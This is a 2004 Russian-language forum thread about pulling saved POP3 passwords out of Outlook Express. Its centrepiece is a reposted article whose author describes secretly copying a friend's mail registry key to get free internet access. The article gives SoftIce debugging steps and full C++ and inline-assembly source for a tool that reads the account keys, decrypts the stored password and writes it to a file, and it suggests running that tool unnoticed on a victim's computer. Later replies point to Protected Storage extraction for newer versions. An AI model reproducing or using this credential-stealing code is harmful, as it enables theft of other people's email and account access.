|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июн 21, 2004 16:35:51 Подскажите пожалуйста как вытащить пароли на pop3 сервер из Outlook Express? Если кто-нибудь сталкивался с этой проблемой или знает где об этом можно почитать, plz, напишите. |
|
|
Дата: Июн 21, 2004 16:47:52 |
|
|
Дата: Июн 21, 2004 17:32:38 Не помогает. :( |
|
|
Дата: Июн 22, 2004 01:53:42 тебе программно надо (пример кода)? |
|
|
Дата: Июн 22, 2004 02:01:37 С Аутглюка 5.0 точно можно, сам делал ;-), если нужно могу написать как, хотя можно и найти в нете. |
|
|
Дата: Июн 22, 2004 14:34:01 2Asterix Wow! Линк/сорс/something useful дай, plz. В ответ тоже могу дать какой-нить инфы. (если она у меня есть :) (а у меня много чего есть ;))) |
|
|
Дата: Июн 22, 2004 15:31:06 Вот статья, не моя. Взлом Outlook Express 5 (оригинал статьи находится _http://www.xakep.ru/) В нашем маленьком городе Хабаровске, да и наверное не только в нем многие не очень умные, а также те кто мнит себя Супер - Пупер - ХАКЕРОМ ставят пароли на Dial-up таким же как и на почту при этом будучи супер -крутыми они его сохраняют дабы долго не вводить... Так вот одним прекрасным деньком, пришел я к такому Супер-Пупер-ХАКЕРУ компьютер посмотреть, а он мне рассказывает какой он крутой и что инета у него не меряно и что он каждый день дефейсы делает (меня позвал чтоб винду переставить %-)), и вообще что круче него лишь Кевин а остальные по сравнению с ним ламо-suxx- совое. Настраивали мы ему почту и инет, пароль длинный, но и на том, и на другом одинаковый - и это хорошо сказал я себе. Засунул дискету и скинул себе его ключик реестра с настройками почты, а он наивный и не догадывается. Таким что либо объяснять - зря время терять, а вот инета халявного хоца. Чтобы там не говорили, но это же халява идущая в руки. Пришел домой загрузил тачку, добавил его настройки себе спокойно посмотрел его почту, но этого мало. А для большего нужно знать не HASH, а пароль. Помучив немного инет, но так ничего, не найдя, меня посетило чувство глубокого разочарования, пришлось идти за пивом потом еще и еще в итоге медленно, но верно приходит решение взломать Outlook. При открытии окна пароль хоть и высвечивается звездочками, но находится в расшифрованном состоянии. А значит, где-то на просторах памяти он находится в чистом и красивом виде. Запускаю Мыло. Выбираю Сервис-> Учетные записи свойства его почтового акаунта и перехожу в SoftIce. Ставлю бреки на функции вывода текста в текстовое поле. Bpx SetDlgItemText Bpx SetDlgItemTextA Bpx SetDlgItemTextW Выбираю вкладку Серверы и Bpx SetDlgItemTextA кидает меня в окно SoftIce, оставляем только Bpx SetDlgItemTextA, остальные удаляем. Выходим из SetDlgItemTextA (P ret) смотрю входящие параметры LEA EAX,[EBP-0114] PUSH EAX PUSH 00000401 PUSH ESI CALL [USER!GETDLGITEMTEXTA] и оказывается что по адресу EBP-0114 находится слово "POP3". А оно нам до жути знакомо ибо это первое что нас встречает на вкладке свойств. Значится (верной дорогой идете товарищи) смотрим что дает нам второе прерывание (p ret) LEA EAX,[EBP-0114] PUSH EAX PUSH 000007D5 PUSH ESI CALL [USER!GETDLGITEMTEXTA] Теперь в EBP-0114 находится "ppp347850" это LOGIN еще чуть-чуть (p ret) LEA EAX,[EBP-0114] PUSH EAX PUSH 000007D6 PUSH ESI CALL [USER!GETDLGITEMTEXTA] Все, можно допивать пиво - в EBP-0114 так красиво и в чистом виде лежит он, "выфджэцз", то ради чего столько мучились!!! Однако! Не всегда есть возможность утянуть кусок реестра, но почти всегда можно не заметно запустить прогу и уйти. Но для этого нужно иметь то что запускать, так в чем же дело! Берем SoftIce, зная что пароль генерируется между вторым и третьим бреками мы трассируем прогу до того места, где находим нужный нам участок затем режем его, делаем красивым и пишем оболочку. Искать можно по разному, я решил создать дополнительный акаунт с паролем 111111 затем поставил Bpx SetDlgItemTextA Пропустил первое и второе прерывание, на третьем пароль уже расшифрован значит нахожу вызов предшествующий генерации брейка. Далее трассирую функцию, а после вызываю поиск пароля S 0 l FFFFFFFF "111111". Если после функции поле найдено и при этом находится в области переменных, то есть старшие цифры адреса 00, то обнуляю предыдущие прерывания и ставлю брейк на этот вызов. Затем выхожу из SoftIce закрываю свойства, открываю - генерируется прерывание опять поиск до тех пор пока не получу искомое. В моем случае это был адрес функции 167:7a0b9b3d Затем переписываем функцию в программу и оформляем её (я воспользовался IDAPro). Вырезанный кусок я оформил в виде функции в программе на С++ Builder5 доработал чуток работу с реестром и получилась прога которая сама извлекает все данные из реестра дешифрует пароль и записывает в файл. //------------------------------
#include <vcl.h>
#include <Registry.hpp>
//------------------------------
#include <stdio.h>
//------------------------------
заголовки для работы с реестром и файлами vcl
//------------------------------
void depass(char * Pass,long &num,char * Hash);
//------------------------------
заголовок функции дешифровки
//------------------------------
int main(int argc, char* argv[])
{
TRegistry *Reg = new TRegistry;
TStrings* Keys=new TStringList();
TStrings* Values=new TStringList();
Reg->RootKey=HKEY_CURRENT_USER;
AnsiString Key="Software\\Microsoft\\Internet Account Manager\\Accounts";
AnsiString Param;
TRegDataInfo Info;
char BinaryBuf[1024],Password[1024];
FILE * PassFile=fopen("passwd.txt","w+");
Объявление переменных и инициализация...
if(!Reg->OpenKey(Key,false)){
MessageBox(NULL,"Error","Key not found\nProgram will close",MB_OK);
return 0;
}
Проверяем ключ на существование
Reg->GetKeyNames(Keys);
Reg->CloseKey();
for(int i=0;iCount;i++){
Reg->OpenKey(Key+"\\"+Keys->Strings[i],false);
fprintf(PassFile,"%s\n",Keys->Strings[i].c_str());
Reg->GetValueNames(Values);
for(int k=0;kCount;k++){
fprintf(PassFile," %s",Values->Strings[k].c_str());
Reg->GetDataInfo(Values->Strings[k],Info);
switch(Info.RegData){
case rdString :
fprintf(PassFile,":string:%s\n",Reg->ReadString(Values->Strings[k]));
break;
case rdInteger:
fprintf(PassFile,":dword:%d\n",Reg->ReadInteger(Values->Strings[k]));
break;
case rdBinary:
Reg->ReadBinaryData(Values->Strings[k],BinaryBuf,Info.DataSize);
fprintf(PassFile,":Binary:");
for(int j=0;jStrings[k]=="POP3 Password2"){
int n=Info.DataSize+1;
depass(Password,n,BinaryBuf);
fprintf(PassFile,":pass:%s",Password);
}
fprintf(PassFile,"\n");
break;
}
}
Reg->CloseKey();
}
}
//------------------------------
считываем данные с реестра затем выводим их в файл в соответствии с типом
при этом дешифруем пароль для чего вызываем подпрограмму и сохраняем в файл
//------------------------------
void depass(char *arg1,long & num,char * buf){
long p1,p2;
asm{
mov edi, [p1]
mov esi, [num]
mov eax,[arg1]
mov [esi+4], eax
mov edx, [buf]
mov ecx, [esi]
and [p1], 0
add edx, 6
shr ecx, 2
mov edi, 14151875h
jz short loc_0_7A0B9BAA
test ecx, ecx
jbe short loc_0_7A0B9BAA
mov [p2], eax
настраиваем переменные и регистры
loc_0_7A0B9B88:
mov eax, [p1]
shl eax, 2
mov ebx, [edx+eax]
xor ebx, edi
mov edi, [p2]
inc [p1]
cmp [p1], ecx
mov [eax+edi], ebx
mov edi, [esi+4]
mov [p2], edi
mov edi, [eax+edi]
jb short loc_0_7A0B9B88
loc_0_7A0B9BAA:
Цикл обработки по 4 байта, то есть берут 4 байта xor'ят их с базовым 14151875h,
результат сохраняют, потом xor с результатом и т.д. До тех пор пока длинна не
станет меньше 4.
mov ecx, [esi]
and ecx, 3
shl ecx, 3
mov [p2], ecx
jz short loc_0_7A0B9BED
mov eax, [p1]
mov ebx, [esi+4]
shl eax, 2
add ebx, eax
push 20h
mov [p1], ebx
or ebx, 0FFFFFFFFh
shl ebx, cl
mov ecx, [p1]
and [ecx], ebx
mov esi, [esi+4]
pop ecx
or ebx, 0FFFFFFFFh
sub ecx, [p2]
add esi, eax
mov eax, [edx+eax]
shr ebx, cl
shr edi, cl
mov [p1], ecx
and eax, ebx
xor eax, edi
or [esi], eax
loc_0_7A0B9BED:
xor eax, eax
}
}
//------------------------------
Обработка оставшихся байт и есть выход. Насколько я понял их xor'ят с необходимым количеством FFh. Вот и все ;-). Если что не понятно пишите попытаюсь объяснить: nikosias()mail.ru. |
|
|
Дата: Июн 22, 2004 19:23:41 А про XP/2k/NT'шную версию подобного нет? (эту статью я читал, но всё равно 10nx!) |
|
|
Дата: Июн 23, 2004 17:48:18 http://www.cobans.net/pslib.php Библиотека для работы с защищенным хранилищем, там собственно Outlook/Outlook Express и хранит свои пароли. Исходники на дельфе. На 100% метод работает с Outlook 2002, Outlook Express 6.0. |
|
|
Дата: Июн 23, 2004 18:29:44 coban2k классная либа, а ты не смотрел, где это хранилище распологается физически? |
|
|
Дата: Июн 24, 2004 06:45:32 Max, где-то в реестре, в шифрованном виде. |
|
|
Дата: Июн 24, 2004 17:47:48 Распологается всё это чудо в HKCU\Software\Microsoft\Protected Storage System Provider Только нужны спец права (через SID&ACL) чтобы ключи появились |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.111 |